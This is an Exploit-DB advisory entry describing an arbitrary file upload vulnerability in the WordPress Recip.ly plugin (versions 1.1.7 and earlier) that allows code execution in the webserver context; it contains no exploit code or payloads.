EDB-ID:

35265

CVE:

N/A


Platform:

PHP

Published:

WordPress Recip.ly is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

WordPress Recip.ly 1.1.7 and prior versions are vulnerable.
